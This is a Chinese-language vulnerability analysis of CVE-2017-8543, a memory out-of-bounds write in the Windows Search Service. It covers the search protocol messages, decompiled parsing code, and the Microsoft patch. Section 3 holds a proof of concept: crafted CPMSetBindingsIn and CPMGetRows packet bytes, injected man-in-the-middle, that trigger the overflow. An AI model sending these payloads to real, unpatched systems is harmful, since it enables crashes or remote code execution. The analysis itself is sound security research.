作者:啟明星辰ADLab

1. 漏洞描述

2017年6月,微軟發布的補丁修復了多個遠程執行漏洞,其中包括 CVE-2017-8543 Windows Search 搜索漏洞(CNVD-2017-09381,CNNVD-201706-556),該漏洞幾乎影響所有的 Windows 操作系統。對于 Windows XP 和 Windows Server 2003 等停止更新的系統,微軟也發布了對應的補丁,用戶可以手動下載補丁進行安裝。

Windows 搜索服務(Windows Search Service,WSS)是 Windows 的一項默認啟用的基本服務,用于建立和維護文件系統索引。由于 WSS 在解析搜索請求時,存在內存越界漏洞,可能導致遠程代碼執行。

2. 協議分析

當客戶端對遠程主機發起搜索請求后,它們之間使用 Windows 搜索協議(Windows Search Protocol,WSP)進行數據交互。交互的消息序列如下所示。其中,CPMConnectIn 消息中包括服務器的名稱和索引名稱(默認 Windows\SYSTEMINDEX)。服務器驗證客戶端的權限后建立會話,回復 CPMConnectOut 消息; CPMCreateQueryIn 消息用于設置查詢的文件目錄范圍、關鍵字信息等; CMPSetBindingsIn 消息用于設置返回的查詢結果內容,例如文件名稱、文件類型等; CPMGetRowsIn 消息用于請求查詢結果。

以上信息的 Header 需遵循以下格式,Header 大小為 0x10。

其中,_msg 表示消息類型,常用的消息類型如下所示。

與該漏洞成因相關的兩個消息是 CPMSetBindingsInCPMGetRowsIn

首先介紹 CPMSetBindingsIn 消息,消息的格式如下所示。

struct CPMSetBindingsIn
{
    int msg_0;
    int status_4;
    int ulCheckSum_8;
    int ulReserved2_c;
    int hCursor_10;
    int cbRow_14;
    int cbBindingDesc_18;
    int dummy_1c;
    int cColumns_20;
    struct Column aColumns[SIZE];
};

前 0x10 字節是消息 Header;hCursorCPMCreateQueryOut 消息返回的句柄;cbRow 表示 row 的長度,以字節為單位;aColumnsColumn 類型結構體數組;cColumns 是數組的長度。在這里,每一行 (row) 代表一條查詢結果,每一列 (column) 代表查詢結果屬性,例如文件名稱、文件類型等。

CPMSetBindingsIn 中的 Column 結構體定義如下:

struct Column
{
    struct CFullPropSpec cCFullPropSpec;
    int   Vtype;
    char  AggregateUsed;   
    char  AggregateType;
    char  ValueUsed;    
    char  padding1;
    short ValueOffset; 
    short ValueSize;   
    char  StatusUsed;     
    char  padding2;       
    short StatusOffset;    
    char  LengthUsed;     
    char  padding3;
    short LengthOffset;    
}
    struct CFullPropSpec
    {
        char GUID[0x10];
        int ulKind;
        int PrSpec;
     }

其中,GUID 標志所代表的屬性,例如 guidFilename=E05ACF41-5AF70648-BD8759C7-D9248EB9 代表文件名稱。

Vtype 表示 column 對應的數據類型。常用數據類型如下表,在 CPMSetBindingsIn 消息中,Vtype 一般取值 0x0c。

ValueOffset 表示在每一行 (row),該 column 數據存放的偏移位置,ValueSize 表示這個 column 數據所占內存大小。

當收到 CPMSetBindings 消息時,程序調用 DoSetBindings 進行數據解析。DoSetBindingsCRequestServer 類的成員函數。 CRequestServer 類中還包括其他解析函數,例如 DoCreateQueryDoGetRows 等。數據成員 cCProxyMessage_c0 即為接收的數據 Buffer。

class CRequestServer
{
public:
        void DoConnect(unsigned long len,unsigned long &var)();     //解析CPMConnectIn消息
        void DoCreateQuery(unsigned long len,unsigned long &var);   //解析CPMCreateQueryIn消息
        void DoSetBindings(unsigned long len,unsigned long &var);   //解析CPMSetBindingsIn消息
        void DoGetRows(unsigned long len,unsigned long &var)();      //解析CPMGetRowsIn消息
    .....
private:
    ...
        CVIQuery *pCVIQuery_5c;
        XArray *pXArray_6c;
        CProxyMessage cCProxyMessage_c0;  
... 
};

DoSetBindings 函數的實現如下所示。

    void DoSetBindings(unsigned long len,unsigned long &var)
    {
        CPMSetBindingsIn *pCPMSetBindingsIn = &cCProxyMessage_c0;
        pCPMSetBindingsIn->ValidateCheckSum(var_40,len);
        struct CMemDeSerStream* pCMemDeSerStream = new pCMemDeSerStream((char*)pCPMSetBindingsIn);
        class CPidMapper* pCPidMapper=new CPidMapper(0);
        CTableColumnSet * pCTableColumnSet = new CTableColumnSet(pCMemDeSerStream, pCPidMapper);
        pCVIQuery_5c->SetBindings(pCPMSetBindingsIn->hCursor_10,
            pCPMSetBindingsIn->cbRow_14,
            pCTableColumnSet,
            pCPidMapper);
    }

(1)DoSetBindings 函數首先初始化 pCPMSetBindingsIn 指針,使其指向接收的 CPMSetBindingsIn 數據,然后使用 pCPMSetBindingsIn 指針初始化 CMemDeSerStream 類。CMemDeSerStream 類用于完成各個字段的讀取。

(2)使用 pCMemDeSerStream 指針初始化 CTableColumnSet 類。CTableColumnSet 類和 CPidMapper 類都是 CCountedDynArray 類的派生類。CCountedDynArray 是一個數組類,數據成員包含一個指針數組 Array_4CTableColumnSet 類構造函數首先調用 GetULong 獲得數組長度 cColumns 作為循環次數,然后循環解析 aColumns 數組元素。在 while 循環中:

  • 解析 column 結構中的 CFullPropSpec 結構,將對象指針 &CFullPropSpec 添加到 CPidMapper 中: pCPidMapper->array_4[CurrentIndex] = &cCFullPropSpec

  • 解析 column 結構中的其他字段,并保存到 CTableColumn類,將對象指針 pCTableColumn 添加到 CTableColumnSet 中:pCTableColumnset->array_4[RetIndex] = pCTableColumn

    CTableColumnSet(CMemDeSerStream *pCMemDeSerStream, CPidMapper* pCPidMapper)
    {
        int _ColumnCount = pCMemDeSerStream->GetULong();
        SetExactSize(_ColumnCount);
        char GUID[16]={0};
        int count = 0;
        do{
            CFullPropSpec cCFullPropSpec(pCMemDeSerStream);     //解析CFullPropSpec
            if(0==cCFullPropSpec.IsValid())
                goto error;
            int RetIndex = pCPidMapper->NameToPid(&cCFullPropSpec,0,0);  
            CTableColumn *pCTableColumn = new CTableColumn(RetIndex,1);  //解析CTableColumn
            Add(pCTableColumn,RetIndex);            count++;
        }while(count<_ColumnCount);
    }

(3)將 pCPidMapperpCTableColumnset 作為參數傳入到 CVIQuery:: SetBindings 中。CVIQuery:: SetBindings 函數調用了 CTableCursor::CheckBindings,在 while 循環中,依次獲取 pCTableColumnset 中的 CTableColumn 元素,調用 checkBinding 檢測 CTableColumn 有效性。

    int CheckBindings(CTableColumnSet *pCTableColumnSet,CTableRowAlloc *pCTableRowAlloc,int cbRow) 
    {
        int index=0;
        int result;
        if(!pCTableColumnSet->CurrentIndex)
            return 0;
        while(1)
        {
            CTableColumn *pCTableColumn = pCTableColumnSet->Get(index);
            result = CheckBinding(pCTableColumn, pCTableRowAlloc, cbRow);

            if ( result < 0 )
                break;
            if ( ++index >= pCTableColumnSet->CurrentIndex)
                return 0;
        }
        return result;
    }

    int CheckBinding(CTableColumn *pCTableColumn,CTableRowAlloc *pCTableRowAlloc,int cbRow)
    {
        pCTableColumn->Validate(cbRow,0);
        //.......
    }

CTableCursor::checkBinding 調用 CTableColumn::Validate 進行驗證,如果 ValueSize + ValueOffset 大于 cbRow,將拋出異常,以防內存越界。

    void validate(int cbRow,bool flag)
    {
        try
        {
            if(ValueSize_06 + ValueOffset_04>cbRow)
                throw 0x80040E08;
        }

    }

接下來介紹 CPMGetRows 消息,CPMGetRowsIn 消息格式如下:

struct CPMGetRowsIn
{   
    int msg_0;
    int status_4;
    int ulCheckSum_8;
    int ulReserved2_c;
    int hCursor_10;
    int cRowsToTransfer_14;
    int cbRowWidth_18;
    int cbSeek_1c;
    int cbReserved_20;
    int cbReadBuffer_24;
    int ulClientBase_28;
    int fBwdFetch_2c; 
    int eType_30;
    int chapt_3C;
    union
    {
        CRowSeekAt cCRowSeekAt;
        CRowSeekAtRatio cCRowSeekAtRatio;
        CRowSeekByBookmark cCRowSeekByBookmark;
        CRowSeekNext cCRowSeekNext;
    }
}

CPMGetRowsOut 的消息格式如下:

struct CPMGetRowsOut
{
    int msg_0;
    int status_4;
    int ulCheckSum_8;
    int ulReserved2_c;
    int cRowsReturned_10;
    int eType_14;
    int chapt_18;
    //Rows_offset;
}

CPMGetRowsIn 消息中,cbRowWidth 表示 row 長度,與 CPMSetBindingsIn 消息中的 cbRow 意義相同。cbReadBuffer 表示用于存放 CPMGetRowsOut 消息的 buffer 大小;cbReserved 表示 Rows 數據在 CPMGetRowsOut 消息中的偏移;eType 表示查詢的方法,取值范圍如下表所示。

CPMGetRowsOut 消息中,對于每一行(row)中的列(column), column 數據使用 CTableVariant 類表示。CTableVariant 結構定義如下。其中 Vtype 表示數據類型,取值范圍見前文 Vtype 常用數據類型表所示。如果 Vtype 為字符串等變長數據類型,offset 則指向的該變長數據偏移位置。CTableVariant 結構存放在 valueoffset 指定的位置,變長數據則存放在內存末尾位置,在后面解析代碼中進行說明。

當接收 CPMGetRowsIn 數據,調用 DoGetRows 函數,函數實現如下所示。

    void DoGetRows(unsigned long len,unsigned long &var)
    {
        CMPGetRowsOut *pCMPGetRowsOut = cCProxyMessage_c0;
        CPMGetRowsIn *pCPMGetRowsIn = &cCProxyMessage_c0;
        pCPMGetRowsIn->ValidateCheckSum(var_40,len);
        char *pCPMGetRowsIn_eType_30 = &pCPMGetRowsIn->eType_30;
        char *pCPMGetRowsIn_eType_cbseek= (char *)&pCPMGetRowsIn->eType_30 +                            pCPMGetRowsIn->cbSeek_1c;
        struct CMemDeSerStream* pCMemDeSerStream = new pCMemDeSerStream(pCPMGetRowsIn_eType_30,
        *pCPMGetRowsIn_eType_cbseek);

        CRowSeekMethod* pCRowSeekMethod=0; 
        UnmarshallRowSeekDescription(pCMemDeSerStream,&pCRowSeekMethod,0);  
        int a2=0;
        if(pCPMGetRowsIn->cbReadBuffer_24>0x1300)                                                               pXArray_6c->init(pCPMGetRowsIn->cbReadBuffer_24);
        char * pArray = pXArray_6c->pArray_0;
        if(pArray){
            *(DWORD*)pArray = 0xcc;
            *(DWORD*)(pArray + 4) = 0;
            *(DWORD*)(pArray + 8) = 0;
            *(DWORD*)(pArray + c) = 0;
        }
        pCMPGetRowsOut = pXArray_6c->pArray_0;
        CFixedVarBufferAllocator cCFixedVarBufferAllocator(
            pCMPGetRowsOut,
            a2,
            pCPMGetRowsIn->cbReadBuffer_24,
            pCPMGetRowsIn->cbRowWidth_18,
            pCPMGetRowsIn->cbReserved_20);
        int flag =1;
        CGetRowsParams cCGetRowsParams(
            pCPMGetRowsIn->cRowsToTransfer_14,
            flag,
            pCPMGetRowsIn->cbRowWidth_18,
            &cCFixedVarBufferAllocator);
        CRowSeekMethod *pCRowSeekMethod_new;
        pCVIQuery_5c->GetRows(
            pCPMGetRowsIn->hCursor_10,
            pCRowSeekMethod,
            &cCGetRowsParams,
            &pCRowSeekMethod_new);
    }

(1)UnmarshallRowSeekDescription 函數根據 etype 類型(eRowSeekNext,eRowSeekAt,eRowSeekAtRatio或eRowSeekByBookmark),返回 SeekMethod 方法對象。

(2)如果 cbReadBuffer_24 長度大于 0x1300,分配新內存存放 CMPRowsOutpCMPGetRowsOut 指向分配的地址。

(3)使用 pCMPGetRowsOut 指針初始化 CFixedVarBufferAllocator 類對象。CFixedVarBufferAllocator 構造函數如下所示。其中兩個關鍵的數據成員:RowBufferStart 地址為 rows 數據的基地址,RowBufferEnd 表示當前可用的末尾地址。

    CFixedVarBufferAllocator(char *ReadBuffer,int a1,int cbReadBuffer,int cbRowWidth,int cbReserved)
    {

        pvatable_0 = &CFixedVarBufferAllocator::`vftable'{for `PVarAllocator'};
        isequal_4 = (ReadBuffer != 0);
        pvatable_8 = &CFixedVarBufferAllocator::`vftable'{for `PFixedAllocator'};
        ReadBuffer_0c = ReadBuffer;
        ReadBuffer_10 = ReadBuffer;
        var_14 = a1;
        RowBufferStart_18 = (char *)ReadBuffer + cbReserved;
        RowBufferEnd_1c = (char *)ReadBuffer + cbReadBuffer;
        cbRowWidth_20 = cbRowWidth;
        cbReserved_24 = cbReserved; 

        while (RowBufferEnd_1c & 7 )
        {
            --RowBufferEnd_1c;
        }
    }

(4)使用對象地址 &cCFixedVarBufferAllocatorcbRowWidth 等參數初始化 CGetRowsParams 對象。最后調用 CVIQuery:: GetRows 函數。

    int CVIQuery::GetRows(int hCursor,
        CRowSeekMethod *pCRowSeekmethod,
        CGetRowsParams *pCGetRowsParams,
        CRowSeekMethod *pCRowSeekMethod_new)
    {
        int result;
        CItemCursor *pCItemCursor = *(DWORD *)(var_68 + 4*hCursor);
        CTableCursor *pCTableCursor = pCItemCursor + 0x14;
        pCTableCursor->ValidateBindings();  //檢查pCTableCursor->pCTableColumnSet_4是否為
        result = pCRowSeekmethod->GetRows(pCTableCursor,
            pCItemCursor,
            pCGetRowsParams,
            pCRowSeekMethod_new);
        return result;
        //.................
    } 

假設 etype=eRowSeekAt,則 pCRowSeekmethod 指針 CRowSeekAt 類指針。此時函數調用序列:

CVIQuery::GetRows->CRowSeekAt:: GetRows->CVICursor:: GetRowsAt

CVICursor:: GetRowsAt 函數實現如下所示。其中,參數 pCTableColumnSet 是由前面的 DoSetBindings 函數構造。在 while 循環中:

  • 調用 CFixedVarBufferAllocator::AllocFixed 獲取當前行 (row) 存放的基地址 RowBufferBase。
  • 調用 CItemCursor::GetRow 依次獲取每一行(row)數據。
    int CVICursor::GetRowsAt(int hRegion,
        int bmkOffset,
        int chapt,
        int cskip,
        CTableColumnSet *pCTableColumnSet,
        CGetRowsParams *pCGetRowsParams,
        int *pbmkOffset)
    {
        int result;
        int fBwdFetch = pCGetRowsParams->fBwdFetch_14;
        //this=pCItemCursor
        while(pCGetRowsParams->cRowsToTransfer_0!=pCGetRowsParams->cRowsAlreadyGet_4&&!result) 
        {
            char *RowBufferBase = pCGetRowsParams->pCFixedVarBufferAllocator_8->AllocFixed();
            int index=0;
            result = ((CItemCursor*)this)->GetRow(index, pCTableColumnSet, pCGetRowsParams,                     RowBufferBase);
            if(!result)
            {
                pCGetRowsParams->cRowsAlreadyGet_4++;
                pCGetRowsParams->var_10 = 0;
                *pbmkOffset = index + 1;
                if(fBwdFetch)
                    index++;
                else
                    index--;
            }

        }
    }
    --------------------------------------------------------------------------------------------
    char* CFixedVarBufferAllocator::AllocFixed()
    {
        char *result = RowBufferStart_18;
        try
        {
            if(RowBufferEnd_1c - RowBufferStart_18 < cbRowWidth_20)
                throw 0xC0000023;
            RowBufferStart_18 += cbRowWidth_20;
        }
        return result;
    }

CItemCursor::GetRow 調用 CWIDToOffset:: GetItemRow,代碼如下所示。CWIDToOffset:: GetItemRow 函數循環寫入 column 數據。在 while 循環中:

  • 首先,從 CTableColumnSet 數組中取出 CTableColumn
  • 然后,計算 Column 存放地址 pCTableVariantpCTableVariant 地址等于行基址 RowBufferBase 加上該 column 的偏移 ValueOffset。
  • 最后,調用 CTableVariant::CopyOrCoerce,將 Column 數據寫入到 pCTableVariant 地址中。
    int CItemCursor::GetRow(int index, CTableColumnSet *pCTableColumnSet, CGetRowsParams    *pCGetRowsParams, char*     RowBufferBase)
    {
        int value = psegvec_34->Get(index); //1=get(0);
        CWIDToOffset *pCWIDToOffset = *(DWORD*)(pCVIQuery_10->var_7c);
        return pCWIDToOffset->GetItemRow(index,value,pCTableColumnSet, pCGetRowsParams,     RowBufferBase);

    }
------------------------------------------------------------------------------------------
    int CWIDToOffset::GetItemRow(int index, int value,CTableColumnSet *pCTableColumnSet,    CGetRowsParams *pCGetRowsParams, char* RowBufferBase)
    {
        //...........
        int index=0;
        CTableVariant *pCTableVariant;
        while(index<pCTableColumnSet->len_0)
        {

            //............
            CTableColumn* pCTableColumn = pCTableColumnSet->Get(index_column);
            int var5;
            pCTableVariant = (CTableVariant*)(RowBufferBase + pCTableColumn->ValueOffset_04);

            CTableVariant::CopyOrCoerce(pCTableVariant,
                pCTableColumn->ValueSize_06,
                pCTableColumn->Vtype_0E,
                &var5,
                pCGetRowsParams->pCFixedVarBufferAllocator_8);//寫入列屬性數據
        }
    }

CTableVariant::CopyOrCoerce 函數中,當 vtype=0x0c,首先調用 VarDataSize 函數,返回變長數據大小 size。

  • 如果 column 為定長數據,size=0, 直接填充 pCTableVariant 指針數據。
    void CTableVariant::CopyOrCoerce(CTableVariant *pCTableVariant,int ValueSize,int Vtype,int  *var5,CFixedVarBufferAllocator* pCFixedVarBufferAllocator)
    {
        //..........
        if(Vtype==0x0c)
        {
            int size = VarDataSize();
            Copy(pCTableVariant, pCFixedVarBufferAllocator, size, 0);
        }
        //.........
    }
    void CTableVariant::Copy(CTableVariant *pCTableVariant,CFixedVarBufferAllocator* pCFixedVarBufferAllocator,int  size,int a4)
    {
        //............
        if(size)
            CTableVariant::CopyData(pCFixedVarBufferAllocator, size, a4);
        pCTableVariant->vtype=vtype;
        pCTableVariant->reserved1=reserved1;
        pCTableVariant->reserved2=reserved2;
        pCTableVariant->offset=offset;
    }
  • 如果 column 為變長數據,size>0。函數調用序列如下:CTableVariant::CopyData-> PVarAllocator::CopyTo-> CFixedVarBufferAllocator::Allocate

調用 CFixedVarBufferAllocator::Allocate 獲取字符串存放地址:首先計算是否存在足夠的存儲空間,從 RowBufferEnd_1c 位置向前尋找存儲空間存放字符串:RowBufferEnd_1c = RowBufferEnd_1c-size;然后調用 memcpy 拷貝字符串。

    void * CopyTo(int size, char *src)
    {
        char *buffer = Allocate(size);
        memcpy(buffer, Src, Size);
        return buffer;
    }

    void* CFixedVarBufferAllocator::Allocate(int size)
    {
        try
        {
            if(RowBufferEnd_1c-RowBufferStart_18<size)
                throw 0xC0000023;

        }
        RowBufferEnd_1c = RowBufferEnd_1c-size;
        return RowBufferEnd_1c;
    }

查詢結果數據 CPMGetRowsOut 在內存中的狀態如下圖所示。可以看出,rows 中的變長數據存放在 Buffer 末尾位置,且以地址遞減的方式進行存放。

3. POC 與漏洞分析

實驗環境如下表:

在 client 端,附件->運行,輸入 “\\servername”,回車,即可看到共享文件夾。打開文件夾,在搜索框里輸入關鍵字進行搜索,這個搜索過程會產生一系列的 WSP 消息交互序列。

可以通過中間人的方式,修改數據包來重現這個漏洞。修改 CPMSetBindingsInCPMGetRows 消息,如下所示。

char CPMSetBindingsIn[] =
"\xd0\x00\x00\x00\x00\x00\x00\x00\x7c\x19\x35\xbd\x00\x00\x00\x00"
"\x01\x00\x00\x00"  //_hCursor
"\x78\x07\x00\x00" //_cbRow
"\x34\x00\x00\x00"//_cbBindingDesc
"\x50\x39\xee\x69"

"\x01\x00\x00\x00"  // cbRow

"\x70\x39\xee\x69" //padding

"\x90\x1c\x69\x49\x17\x7e\x1a\x10\xa9\x1c\x08\x00\x2b\x2e\xcd\xa9" //GUID
"\x01\x00\x00\x00"
"\x05\x00\x00\x00"

"\x0c\x00\x00\x00"
"\x01\x00"
"\x01\x00"
"\x60\x07"  //ValueOffset
"\x10\x00"  //ValueSize
"\x01\x00"
"\x02\x00"
"\x01\x00"
"\x04\x00";
char CPMGetRows[] =
"\xcc\x00\x00\x00\x00\x00\x00\x00\xae\x12\xfd\x5c\x00\x00\x00\x00"
"\x01\x00\x00\x00" //#+0x010 _hCursor
"\x20\x00\x00\x00" //#+0x014 _cRowsToTransfer
"\x02\x07\x00\x00"//#+0x018 _cbRowWidth
"\x14\x00\x00\x00" //#+0x01c _cbSeek
"\xee\x38\x00\x00"// #+0x020 _cbReserved
"\x00\x40\x00\x00" //#+0x024 _cbReadBuffer
"\x58\xe8\xad\x05" //#+0x028 _ulClientBase
"\x00\x00\x00\x00" //#+0x02c _fBwdFetch 
"\x02\x00\x00\x00" //eType,eRowSeekAt
"\x00\x00\x00\x00" //_chapt

"\xfc\xff\xff\xff"//_bmkOffset
"\x00\x00\x00\x00"//_cskip
"\x00\x00\x00\x00";//_hRegion

cbReadBuffer=0x4000
RowBufferBase = ReadBuffer + _cbReserved = ReadBuffer + 0x38ee
CTableVariant *pCTableVariant = RowBase + valueoffset = ReadBuffer+0x38ee+0x760 = ReadBuffer + 404e

而 ReadBuffer 大小為 0x4000,因此向 column 中寫入數據時,將發生地址越界。

其實,在前面獲取 RowBufferBase 的 CFixedVarBufferAllocator::AllocFixed 函數中,是進行了合法檢查的。

    char* CFixedVarBufferAllocator::AllocFixed()
    {
        char *result = RowBufferStart_18;
        try
        {
            if(RowBufferEnd_1c - RowBufferStart_18 < cbRowWidth_20)
                throw 0xC0000023;
            RowBufferStart_18 += cbRowWidth_20;
        }
        return result;
    }

但是由于 GetRowsIn 中的 cbRowWidth 本身是不可信的,可以任意賦值,因此可以繞過該檢查觸發漏洞。

4. 補丁分析

補丁對 CVIQuery::GetRows 函數代碼進行修改。在調用 pCRowSeekmethod->GetRows 函數前,對 cbRowWidth 的合法性進行判斷。其中,pCTableCursor->cbRow_2 值為 CPMSetBindingsIn 消息中的 cbRow

    int CVIQuery::GetRows(int hCursor,
        CRowSeekMethod *pCRowSeekmethod,
        CGetRowsParams *pCGetRowsParams,
        CRowSeekMethod *pCRowSeekMethod_new)
    {
        int result;
        CItemCursor *pCItemCursor = *(DWORD *)(var_68 + 4*hCursor);
        CTableCursor *pCTableCursor = pCItemCursor + 0x14;
        pCTableCursor->ValidateBindings();

        if(pCTableCursor->cbRow_2 != pCGetRowsParams->cbRowWidth_c)
            return 0x80070057;
        result = pCRowSeekmethod->GetRows(pCTableCursor,
            pCItemCursor,
            pCGetRowsParams,
            pCRowSeekMethod_new);
        return result;
        //.................
    } 

啟明星辰積極防御實驗室(ADLab)

ADLab成立于1999年,是中國安全行業最早成立的攻防技術研究實驗室之一,微軟MAPP計劃核心成員。截止目前,ADLab通過CVE發布Windows、Linux、Unix等操作系統安全或軟件漏洞近300個,持續保持亞洲領先并確立了其在國際網絡安全領域的核心地位。實驗室研究方向涵蓋操作系統與應用系統安全研究、移動智能終端安全研究、物聯網智能設備安全研究、Web安全研究、工控系統安全研究、云安全研究。研究成果應用于產品核心技術研究、國家重點科技項目攻關、專業安全服務等。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/355/